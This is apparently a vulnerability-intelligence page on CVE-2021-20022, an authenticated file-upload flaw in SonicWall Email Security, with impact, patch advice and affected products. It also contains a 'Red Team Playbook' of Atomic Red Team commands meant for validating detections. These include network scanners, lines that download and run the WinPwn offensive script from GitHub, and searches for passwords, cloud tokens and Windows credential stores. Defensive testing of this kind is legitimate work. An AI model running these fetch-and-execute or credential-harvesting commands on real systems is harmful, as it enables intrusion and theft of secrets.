CVE-2021-20022
Overview
This vulnerability is an arbitrary file upload flaw in SonicWall Email Security version 10.0.9.x. The root cause lies in insufficient validation of user-supplied input during the file upload process, allowing authenticated users with elevated privileges to bypass restrictions. The affected component is the file handling mechanism within the web-based management interface of the SonicWall Email Security appliance.
Vulnerability Description
SonicWall Email Security version 10.0.9.x contains a vulnerability that allows a post-authenticated attacker to upload an arbitrary file to the remote host.
Impact
An attacker with valid high-privilege credentials can upload arbitrary files to the SonicWall Email Security appliance, potentially leading to unauthorized code execution or system compromise. This capability allows attackers to implant malicious scripts or binaries, facilitating data exfiltration, persistence, or lateral movement within the network. The prerequisite is possession of an authenticated account with elevated privileges. The business impact includes potential full system compromise and disruption of email security services.
Solution
SonicWall has released security updates addressing this vulnerability in SonicWall Email Security appliance firmware versions beyond 10.0.9.x. Administrators should apply the latest patches as detailed in the SonicWall PSIRT advisory SNWLID-2021-0008 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0008. The advisory provides specific firmware versions containing the fix and recommends immediate upgrade to these versions to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability present in SonicWall Email Security version 10.0.9.x allows an authenticated attacker to upload arbitrary files to the remote host. This flaw arises from inadequate input validation mechanisms, which fail to properly restrict the types of files that can be uploaded. As a result, an attacker with valid credentials can exploit this vulnerability to upload malicious files, potentially leading to further compromise of the system. The ability to upload arbitrary files can be particularly dangerous, as it may allow for the execution of arbitrary code or the installation of backdoors, thereby facilitating unauthorized access to sensitive data or the broader network.
Exploitation of this vulnerability can occur through several attack vectors. An attacker may gain access to the SonicWall Email Security system by leveraging stolen credentials or exploiting weak authentication mechanisms. Once authenticated, the attacker can upload malicious files, such as web shells or scripts, which can then be executed on the server. This exploitation could lead to a range of malicious activities, including data exfiltration, lateral movement within the network, or the establishment of persistent access points for future attacks. The potential for such exploitation underscores the critical need for robust security measures surrounding authentication and file upload functionalities.
The real-world impact of this vulnerability is significant, particularly for organizations relying on SonicWall Email Security for their email filtering and protection. The ability for an attacker to upload and execute arbitrary files poses a substantial business risk, as it can lead to data breaches, loss of customer trust, and potential regulatory penalties. Furthermore, the exploitation of this vulnerability could result in operational disruptions, as compromised systems may require extensive remediation efforts. The financial implications of such incidents can be severe, encompassing not only direct costs associated with incident response but also long-term reputational damage.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify weaknesses in the system before they can be exploited. Additionally, organizations should enforce strict access controls and employ multi-factor authentication to limit the risk of unauthorized access. File upload functionalities should be rigorously validated, ensuring that only permitted file types are accepted, and that uploaded files are scanned for malicious content. Employing intrusion detection systems can also aid in monitoring for suspicious activity related to file uploads and access attempts.
In conclusion, the vulnerability within SonicWall Email Security represents a significant threat to organizations that utilize this product. The potential for authenticated attackers to upload arbitrary files creates a pathway for further exploitation and compromise. By understanding the technical details of the vulnerability, recognizing the various attack vectors, and implementing comprehensive detection and mitigation strategies, organizations can better protect themselves against the risks posed by this and similar vulnerabilities. Proactive security measures and a commitment to ongoing vigilance are essential in safeguarding sensitive data and maintaining the integrity of organizational systems.
CSURFACE threat intelligence has detected a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-20022, rising by over 60% to place this vulnerability in the 97th percentile of predicted exploitation likelihood. This upward adjustment reflects growing confidence in the potential for active exploitation, corroborated by the vulnerability’s inclusion in the Known Exploited Vulnerabilities (KEV) catalog and its confirmed use in ransomware campaigns attributed to the Sinobi group. Although no new exploit techniques or proof-of-concept code have surfaced recently, the elevated EPSS score and sustained ransomware association underscore an intensifying threat environment. For defenders, this signals a heightened urgency to prioritize monitoring and defensive controls around SonicWall Email Security deployments, as the window for opportunistic exploitation is expanding. Consequently, the overall risk posture for this vulnerability has escalated from moderate to high, driven by increased exploitation probability and its proven utility in ransomware operations.
Affected Products (11)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sonicwall | Email Security | All |
cpe:2.3:a:sonicwall:email_security:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Email Security Appliance 9000 Firmware | All |
cpe:2.3:o:sonicwall:email_security_appliance_9000_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Email Security Appliance 3300 Firmware | All |
cpe:2.3:o:sonicwall:email_security_appliance_3300_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Email Security Appliance 4300 Firmware | All |
cpe:2.3:o:sonicwall:email_security_appliance_4300_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Email Security Appliance 8300 Firmware | All |
cpe:2.3:o:sonicwall:email_security_appliance_8300_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Email Security Appliance 5000 Firmware | All |
cpe:2.3:o:sonicwall:email_security_appliance_5000_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Email Security Appliance 7000 Firmware | All |
cpe:2.3:o:sonicwall:email_security_appliance_7000_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Email Security Appliance 5050 Firmware | All |
cpe:2.3:o:sonicwall:email_security_appliance_5050_firmware:*:*:*:*:*:*:*:*
|
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Sonicwall | Email Security Appliance 7050 Firmware | All |
cpe:2.3:o:sonicwall:email_security_appliance_7050_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Email Security Virtual Appliance | All |
cpe:2.3:a:sonicwall:email_security_virtual_appliance:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Hosted Email Security | All |
cpe:2.3:a:sonicwall:hosted_email_security:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-20022 |
| psirt.global.sonicwall.com |
GitHub CVE
x_refsource_CONFIRM
|
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0008 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-20022 |